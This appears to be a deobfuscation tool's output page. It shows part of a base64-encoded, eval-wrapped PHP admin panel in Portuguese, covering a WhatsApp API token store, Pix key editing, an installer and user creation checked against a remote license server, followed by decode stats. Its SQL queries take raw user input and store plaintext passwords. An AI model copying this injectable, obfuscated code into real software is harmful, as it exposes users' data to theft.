Aie1wicGhvbmVcIjogXCI1NSckdG9rZW5fdGVsZWZvbmUnXCIsIFwiaW1hZ2VcIjogXCJodHRwczovL2kuaWJiLmNvL3pHNHc1UlEvcGl4LnBuZ1wifSIsIAogICAgICBDVVJMT1BUX0hUVFBIRUFERVIgPT4gYXJyYXkoCiAgICAgICAgImNsaWVudC10b2tlbjogJHRva2VuX2NvbnRhIiwKICAgICAgICAiY29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9qc29uIgogICAgICApLAogICAgKSk7CiAgICAKICAgICRyZXNwb25zZV9pbWcgPSBjdXJsX2V4ZWMoJGN1cmxfaW1nKTsKICAgICRlcnJfaW1nID0gY3VybF9lcnJvcigkY3VybF9pbWcpOwogICAgCiAgICBjdXJsX2Nsb3NlKCRjdXJsX2ltZyk7CiAgICAKICAgIGlmICgkZXJyX2ltZykgewogICAgICAKICAgIH0gZWxzZSB7CiAgICAgCiAgICB9IAp9ICAKICAgICRzcWxfc210cCA9ICJTRUxFQ1QgKiBGUk9NIGFwaV93aGF0c2FwcCB3aGVyZSB1c2VyID0nJHNlc3Npb25fYWRtaW4nIjsKICAgICRzcWxfc210cCA9IG15c3FsaV9xdWVyeSgkQ29ubmVjdERCLCAkc3FsX3NtdHApOwogICAgJHNxbF9zbXRwID0gbXlzcWxpX251bV9yb3dzKCRzcWxfc210cCk7CiAgICBpZiAoJHNxbF9zbXRwID09IDApIHsKICAgICAgICAkcmVzdWx0X3NtdHAgPSAiSU5TRVJUIElOVE8gYXBpX3doYXRzYXBwIChhcGlfaWQsYXBpX3Rva2VuLCBhcGlfdG9rZW5fY29udGEsIG9uX29mZix1c2VyKSBWQUxVRVMgKCckaWRfd2hhdHNhcHAnLCckdG9rZW5fd2hhdHNhcHAnLCAnJHRva2VuX2NvbnRhJywgJyRhdGl2YXInLCckc2Vzc2lvbl9hZG1pbicpIjsKICAgICAgICAkcmVzdWx0YWRvX3NtdHAgPSBteXNxbGlfcXVlcnkoJENvbm5lY3REQiwgJHJlc3VsdF9zbXRwKTsKICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAuLi9hZG1pbi8/cGFnZT1hcGlfd2hhdHNhcHAiKTsKICAgICAgICBleGl0KCk7CiAgICB9IGVsc2UgewogICAgCiAgICAgICAgJHJlc3VsdF9zbXRwID0gIlVQREFURSBhcGlfd2hhdHNhcHAgU0VUIGFwaV9pZD0nJGlkX3doYXRzYXBwJyxhcGlfdG9rZW49JyR0b2tlbl93aGF0c2FwcCcsIGFwaV90b2tlbl9jb250YT0nJHRva2VuX2NvbnRhJywgb25fb2ZmPSckYXRpdmFyJyBXSEVSRSB1c2VyPSckc2Vzc2lvbl9hZG1pbiciOwogICAgICAgICRyZXN1bHRhZG9fc210cCA9IG15c3FsaV9xdWVyeSgkQ29ubmVjdERCLCAkcmVzdWx0X3NtdHApOyAKICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAuLi9hZG1pbi8/cGFnZT1hcGlfd2hhdHNhcHAjVVBEQVRFIik7CiAgICAgICAgZXhpdCgpOwogICAgfSAKCn0KCgoKaWYgKCRwYWdlID09ICJlZGl0YXItcGl4IikgeyAKICAgICAgICAkQ2hhdmVfcGl4ID0gJF9QT1NUWydwaXhfcG9zdCddOyAKCiAgICAgICAgJHJlc3VsdF91c3VhcmlvID0gIlVQREFURSBwcm9kdXRvIFNFVCBwcm9kdXRvX2NoYXZlcGl4ID0gJyRDaGF2ZV9waXgnIFdIRVJFIHVzZXIgPSAnJHNlc3Npb25fYWRtaW4nIjsKICAgICAgICAkcmVzdWx0YWRvX3VzdWFyaW8gPSBteXNxbGlfcXVlcnkoJENvbm5lY3REQiwgJHJlc3VsdF91c3VhcmlvKTsgCiAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogIC4uL2FkbWluLz9wYWdlPXByb2R1dG9zIik7IAogICAgICAgIGV4aXQ7IAp9CgppZiAoJHBhZ2UgPT0gImxvZ19pbiIpIHsKCXNlc3Npb25fc3RhcnQoKTsKCXNlc3Npb25fZGVzdHJveSgpOwoJc2Vzc2lvbl9zdGFydCgpOyAKCWhlYWRlcigiTG9jYXRpb246IC4uL2FkbWluL2xvZ2luLnBocCIpOyAKfQoKaWYgKCRwYWdlID09PSAiaW5zdGFsbF9jb25uIikgewogICAgJGhvc3QgPSBmaWx0ZXJfaW5wdXQoSU5QVVRfUE9TVCwgJ2hvc3RkYicsIEZJTFRFUl9TQU5JVElaRV9TVFJJTkcpOwogICAgJHVzdWFyaW8gPSBmaWx0ZXJfaW5wdXQoSU5QVVRfUE9TVCwgJ3VzZXJkYicsIEZJTFRFUl9TQU5JVElaRV9TVFJJTkcpOwogICAgJHNlbmhhID0gZmlsdGVyX2lucHV0KElOUFVUX1BPU1QsICdzZW5oYWRiJywgRklMVEVSX1NBTklUSVpFX1NUUklORyk7CiAgICAkZGF0YWJhc2VfQ29ubmVjdERCID0gZmlsdGVyX2lucHV0KElOUFVUX1BPU1QsICduYW1lZGInLCBGSUxURVJfU0FOSVRJWkVfU1RSSU5HKTsKCiAgICBpZiAoJGhvc3QgIT09IG51bGwgJiYgJHVzdWFyaW8gIT09IG51bGwgJiYgJHNlbmhhICE9PSBudWxsICYmICRkYXRhYmFzZV9Db25uZWN0REIgIT09IG51bGwpIHsKICAgICAgICBpZiAobXlzcWxpX2Nvbm5lY3QoJGhvc3QsICR1c3VhcmlvLCAkc2VuaGEsICRkYXRhYmFzZV9Db25uZWN0REIpKSB7CiAgICAgICAgICAgICRmb3BlbiA9IGZvcGVuKCIuL2Nvbm4ucGhwIiwgInciKTsKCiAgICAgICAgICAgICRjb250ZXVkbyA9ICI8P3BocApzZXNzaW9uX3N0YXJ0KCk7CmVycm9yX3JlcG9ydGluZygwKTsKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnQW1lcmljYS9TYW9fUGF1bG8nKTsKXCRob3JhZGF0YSA9IGRhdGUoJ2QvbS9ZIEg6aScpOwoKXCRob3N0ID0gJyRob3N0JzsKXCR1c3VhcmlvID0gJyR1c3VhcmlvJzsKXCRzZW5oYSA9ICckc2VuaGEnOwpcJGRhdGFiYXNlX0Nvbm5lY3REQiA9ICckZGF0YWJhc2VfQ29ubmVjdERCJzsKClwkQ29ubmVjdERCID0gbXlzcWxpX2Nvbm5lY3QoXCRob3N0LCBcJHVzdWFyaW8sIFwkc2VuaGEsIFwkZGF0YWJhc2VfQ29ubmVjdERCKTsKbXlzcWxpX3NlbGVjdF9kYihcJENvbm5lY3REQiwgXCRkYXRhYmFzZV9Db25uZWN0REIpOwoKaWYgKCFcJENvbm5lY3REQikgewogICAgXCRtc2dlcnJvbXlzcWwgPSAnRmFsaGEgYW8gY29uZWN0YXItc2UgY29tIG8gYmFuY28gZGUgZGFkb3MgTXlTUUwuJzsKICAgIGV4aXQ7Cn0KXCRtc2dzdWNlc3NvbXlzcWwgPSAnQ29uZXhhbyBiZW0gc3VjZWRpZGEnOwoKaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2dldElwJykpIHsKICAgIGZ1bmN0aW9uIGdldElwKCkKICAgIHsKICAgICAgICBmb3JlYWNoIChhcnJheSgKICAgICAgICAgICAgICAgICAgICAgJ0hUVFBfQ0xJRU5UX0lQJywKICAgICAgICAgICAgICAgICAgICAgJ0hUVFBfWF9GT1JXQVJERURfRk9SJywKICAgICAgICAgICAgICAgICAgICAgJ0hUVFBfWF9GT1JXQVJERUQnLAogICAgICAgICAgICAgICAgICAgICAnSFRUUF9YX0NMVVNURVJfQ0xJRU5UX0lQJywKICAgICAgICAgICAgICAgICAgICAgJ0hUVFBfRk9SV0FSREVEX0ZPUicsCiAgICAgICAgICAgICAgICAgICAgICdIVFRQX0ZPUldBUkRFRCcsCiAgICAgICAgICAgICAgICAgICAgICdSRU1PVEVfQUREUicKICAgICAgICAgICAgICAgICApIGFzIFwka2V5KSB7CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKFwka2V5LCBcJF9TRVJWRVIpID09PSB0cnVlKSB7CiAgICAgICAgICAgICAgICBmb3JlYWNoIChleHBsb2RlKCcsJywgXCRfU0VSVkVSW1wka2V5XSkgYXMgXCRJUGFkZHJlc3MpIHsKICAgICAgICAgICAgICAgICAgICBcJElQYWRkcmVzcyA9IHRyaW0oXCRJUGFkZHJlc3MpOwogICAgICAgICAgICAgICAgICAgIGlmIChmaWx0ZXJfdmFyKFwkSVBhZGRyZXNzLCBGSUxURVJfVkFMSURBVEVfSVAsIEZJTFRFUl9GTEFHX05PX1BSSVZfUkFOR0UgfCBGSUxURVJfRkxBR19OT19SRVNfUkFOR0UpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gXCRJUGFkZHJlc3M7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQp9IAoKZnVuY3Rpb24gT2J0ZXJfU08oKQp7CiAgICBcJHNpc3RlbWFzX29wZXJhdGl2b3MgPSBbCiAgICAgICAgJ3dpbmRvd3MgbnQgNS4yJyA9PiAnV2luZG93cyAyMDAzJywKICAgICAgICAnd2luZG93cyBudCA2LjAnID0+ICdXaW5kb3dzIFZpc3RhJywKICAgICAgICAnd2luZG93cyBudCA2LjEnID0+ICdXaW5kb3dzIDcnLAogICAgICAgIC8vIC4uLiBvdXRyYXMgcGxhdGFmb3JtYXMKICAgICAgICAnUFBDJyA9PiAnTWFjIFBQQycKICAgIF07CgogICAgaWYgKGlzX2FycmF5KFwkc2lzdGVtYXNfb3BlcmF0aXZvcykpIHsKICAgICAgICBmb3JlYWNoIChcJHNpc3RlbWFzX29wZXJhdGl2b3MgYXMgXCR1YSA9PiBcJHNpc3RlbWFzX29wZXJhdGl2bykgewogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnfCcgLiBwcmVnX3F1b3RlKFwkdWEpIC4gJ3xpJywgdHJpbShcJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBcJF9TRVNTSU9OWydvcCddID0gXCRzaXN0ZW1hc19vcGVyYXRpdm87CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9IAp9Ck9idGVyX1NPKCk7CgpcJGZ1bmN0aW9uaXAgPSBnZXRJcCgpOwpcJGlwID0gXCRmdW5jdGlvbmlwID09ICcnID8gXCRfU0VSVkVSWydSRU1PVEVfQUREUiddIDogXCRmdW5jdGlvbmlwOwo/PiI7CgogICAgICAgICAgICBmd3JpdGUoJGZvcGVuLCAkY29udGV1ZG8pOwogICAgICAgICAgICBmY2xvc2UoJGZvcGVuKTsKCiAgICAgICAgICAgICRmaWxlID0gZmlsZSgnLi4vYWRtaW4vZGlzdC9kYi5zcWwnKTsKCiAgICAgICAgICAgICRUZW1wQ29uZWN0ID0gbXlzcWxpX2Nvbm5lY3QoJGhvc3QsICR1c3VhcmlvLCAkc2VuaGEsICRkYXRhYmFzZV9Db25uZWN0REIpOwoKICAgICAgICAgICAgJGNvbnRhZG9yID0gY291bnQoJGZpbGUpOwogICAgICAgICAgICAkaSA9IDE7CgogICAgICAgICAgICAkaW4gPSBpbXBsb2RlKCRmaWxlKTsKCiAgICAgICAgICAgICRleCA9IGV4cGxvZGUoJzsnLCAkaW4pOwoKICAgICAgICAgICAgd2hpbGUgKCRjb250YWRvciA+ICRpKSB7CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGV4WyRpXSkpIHsKICAgICAgICAgICAgICAgICAgICAkY24gPSAkZXhbJGldOwoKICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRjbiwgJ0NSRUFURSBUQUJMRScpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIG15c3FsaV9xdWVyeSgkVGVtcENvbmVjdCwgJGNuKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkY24sICdJTlRPJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgbXlzcWxpX3F1ZXJ5KCRUZW1wQ29uZWN0LCAkY24pOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRpKys7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGhlYWRlcigiTG9jYXRpb246IC4uL2FkbWluL2xvZ2luLnBocD9jYWRhc3Rybz1ub3ZvdXNlciIpOwogICAgICAgICAgICBleGl0OwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGhlYWRlcigiTG9jYXRpb246IC4uL2FkbWluL2xvZ2luLnBocD9sb2tpPWVycm82JmNhZGFzdHJvPWluc3RhbGwiKTsKICAgICAgICAgICAgZXhpdDsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGhlYWRlcigiTG9jYXRpb246IC4uL2FkbWluL2xvZ2luLnBocD9sb2tpPWVycm83JmNhZGFzdHJvPWluc3RhbGwiKTsKICAgICAgICBleGl0OwogICAgfQp9CgoKaWYgKCRwYWdlID09ICdjcmlhcnVzZXInKSB7CgogICAKICAgICR1c3VhcmlvID0gZmlsdGVyX2lucHV0KElOUFVUX1BPU1QsICd1c3VhcmlvJywgRklMVEVSX1NBTklUSVpFX1NUUklORyk7CiAgICAkc2VuaGEgPSBmaWx0ZXJfaW5wdXQoSU5QVVRfUE9TVCwgJ3NlbmhhJywgRklMVEVSX1NBTklUSVpFX1NUUklORyk7CiAgICAkdG9rZW4gPSBmaWx0ZXJfaW5wdXQoSU5QVVRfUE9TVCwgJ3Rva2VuJywgRklMVEVSX1NBTklUSVpFX1NUUklORyk7CgogICAgJHNxbCA9ICJTRUxFQ1QgKiBGUk9NIGFkbWluX3VzZXIgd2hlcmUgdXNlciA9ICckdXN1YXJpbyciOwogICAgJHF1ZXJ5ID0gbXlzcWxpX3F1ZXJ5KCRDb25uZWN0REIsICRzcWwpOwogICAgJHRvdGFsID0gbXlzcWxpX251bV9yb3dzKCRxdWVyeSk7CiAgICAKICAgCiAgICBmdW5jdGlvbiBtYWtlQ3VybFJlcXVlc3QoJHVybCwgJHRva2VuKSB7CiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS84MC4wLjM5ODcuMTQ5IFNhZmFyaS81MzcuMzYnKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgYXJyYXkoCiAgICAgICAgICAgICdVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXT1c2NDsgVHJpZGVudC83LjA7IHJ2OjExLjApIGxpa2UgR2Vja28nLAogICAgICAgICAgICAnUHJhZ21hOiBuby1jYWNoZScsCiAgICAgICAgICAgICdBY2NlcHQ6ICovKicKICAgICAgICApKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCBnZXRjd2QoKSAuICcvY29va2llLnR4dCcpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCBnZXRjd2QoKSAuICcvY29va2llMS50eHQnKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICd0b2trZW49JyAuICR0b2tlbik7CiAgICAgICAgcmV0dXJuIGN1cmxfZXhlYygkY2gpOwogICAgICB9CiAgICAgIAogICAgICBmdW5jdGlvbiBleHRyYWN0SW5mb3JtYXRpb24oJGxpbmRvLCAkdGFnKSB7CiAgICAgICAgJHRhZzEgPSBleHBsb2RlKCIkdGFnIiwgJGxpbmRvKTsKICAgICAgICBpZiAoaXNzZXQoJHRhZzFbMV0pKSB7CiAgICAgICAgICAgICR0YWcyID0gZXhwbG9kZSgnPGJyPicsICR0YWcxWzFdKTsKICAgICAgICAgICAgcmV0dXJuIGFkZHNsYXNoZXMoJHRhZzJbMF0pOwogICAgICAgIH0KICAgICAgICByZXR1cm4gbnVsbDsKICAgICAgfQogICAgICAKICAgICAgJFVSTF9BVFVBTCA9ICJodHRwOi8vJF9TRVJWRVJbSFRUUF9IT1NUXSI7CiAgICAgIGRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ0FtZXJpY2EvU2FvX1BhdWxvJyk7IAogICAgICAkbGluZG8gPSBtYWtlQ3VybFJlcXVlc3QoJ2h0dHBzOi8vZGFya3NlcnZlci5zaXRlL3Rva2tlbi90b2trZW4ucGhwJywgJHRva2VuKTsgCiAgICAgICRleGlzdGUgPSBleHRyYWN0SW5mb3JtYXRpb24oJGxpbmRvLCAnRXhpc3RlOiAnKTsKICAgICAgJHZhbGlkYWRlID0gZXh0cmFjdEluZm9ybWF0aW9uKCRsaW5kbywgJ0V4cGlyYTogJyk7IAogICAgICAkYWNlc3NvID0gZXh0cmFjdEluZm9ybWF0aW9uKCRsaW5kbywgJ0FjZXNzbzogJyk7IAogICAgIAogICAgIC8vIFZlcmlmaWNhIHNlIGEgZGF0YSBkZSB2YWxpZGFkZSBqw6EgcGFzc291IChkYXRhIGF0dWFsID4gZGF0YSBkZSB2YWxpZGFkZSkKICAgICBpZiAoIWVtcHR5KCR2YWxpZGFkZSkpIHsKICAgICAgICAgJGRhdGFBdHVhbCA9IG5ldyBEYXRlVGltZSgpOwogICAgICAgICAkZGF0YVZhbGlkYWRlID0gbmV3IERhdGVUaW1lKCR2YWxpZGFkZSk7CiAgICAgCiAgICAgICAgIGlmICgkZGF0YUF0dWFsID4gJGRhdGFWYWxpZGFkZSkgewogICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAuLi9hZG1pbi9sb2dpbi5waHA/bG9raT1lcnJvMyIpOyAKICAgICAgICAgICAgZXhpdDsKICAgICAgICAgfSAKICAgICB9IGVsc2UgewogICAgICAgICBlY2hvICJBIGRhdGEgZGUgdmFsaWRhZGUgbsOjbyBmb2kgZGVmaW5pZGEuIjsKICAgICB9CiAgICAgLy8gVmVyaWZpY2Egc2UgbyBhY2Vzc28gZXN0w6EgbGliZXJhZG8KICAgICBpZiAoJGFjZXNzbyA9PT0gJ2xpYmVyYWRvJykgeyAKICAgICB9IGVsc2UgewogICAgICAgIGhlYWRlcigiTG9jYXRpb246IC4uL2FkbWluL2xvZ2luLnBocD9sb2tpPWVycm80Iik7IAogICAgIH0gCiAgICAKICAgCiAgICAgJHJlc3VsdGFkbyA9IG15c3FsaV9xdWVyeSgkQ29ubmVjdERCLCAiU0VMRUNUIENPVU5UKCopIEFTIHRvdGFsIEZST00gYWRtaW5fdXNlciBXSEVSRSB1c2VyID0gJyR1c3VhcmlvJyIpOwogICAgICRyb3cgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHJlc3VsdGFkbyk7CiAgICAgCiAgICAgaWYgKCRyb3dbJ3RvdGFsJ10gPiAwKSB7CiAgICAgICAgIC8vIE8gdXN1w6FyaW8gasOhIGV4aXN0ZSwgZW50w6NvIHZhbW9zIGF0dWFsaXphciBvcyBkYWRvcwogICAgICAgICAkcmVzdWx0X3VzdWFyaW8xID0gIlVQREFURSBhZG1pbl91c2VyIFNFVCBwYXNzID0gJyRzZW5oYScsIHRva2VuID0gJyR0b2tlbicgV0hFUkUgdXNlciA9ICckdXN1YXJpbyciOwogICAgICAgICAkcmVzdWx0YWRvX3VzdWFyaW8gPSBteXNxbGlfcXVlcnkoJENvbm5lY3REQiwgJHJlc3VsdF91c3VhcmlvMSk7CiAgICAgICAgIAogICAgIH0gZWxzZSB7CiAgICAgICAgIC8vIE8gdXN1w6FyaW8gbsOjbyBleGlzdGUsIGVudMOjbyB2YW1vcyBpbnNlcmlyIHVtIG5vdm8gcmVnaXN0cm8KICAgICAgICAgJHJlc3VsdF91c3VhcmlvMiA9ICJJTlNFUlQgSU5UTyBhZG1pbl91c2VyICh1c2VyLCBwYXNzLCB0b2tlbiwgdmFsaWRhZGVfdG9rZW4sIGxhc3RfYWNlc3MgLGlwKSBWQUxVRVMgKCckdXN1YXJpbycsICckc2VuaGEnLCAnJHRva2VuJywnJHZhbGlkYWRlJywgJyRob3JhZGF0YScsJyRpcCcpIjsKICAgICAgICAgJHJlc3VsdGFkb191c3VhcmlvID0gbXlzcWxpX3F1ZXJ5KCRDb25uZWN0REIsICRyZXN1bHRfdXN1YXJpbzIpOyAKICAgICB9CiAgICAgCgogICAgIGhlYWRlcigiTG9jYXRpb246IC4uL2FkbWluL2xvZ2luLnBocCIpOwp9"));//Generated by Ampare PHP Encoder. For more security please use php protect before encode the php program
Function Calls
base64_decode | 1 |
Stats
MD5 | bfa2149724c7f5ebe3b00cfbcbb0e0b8 |
Eval Count | 1 |
Decode Time | 167 ms |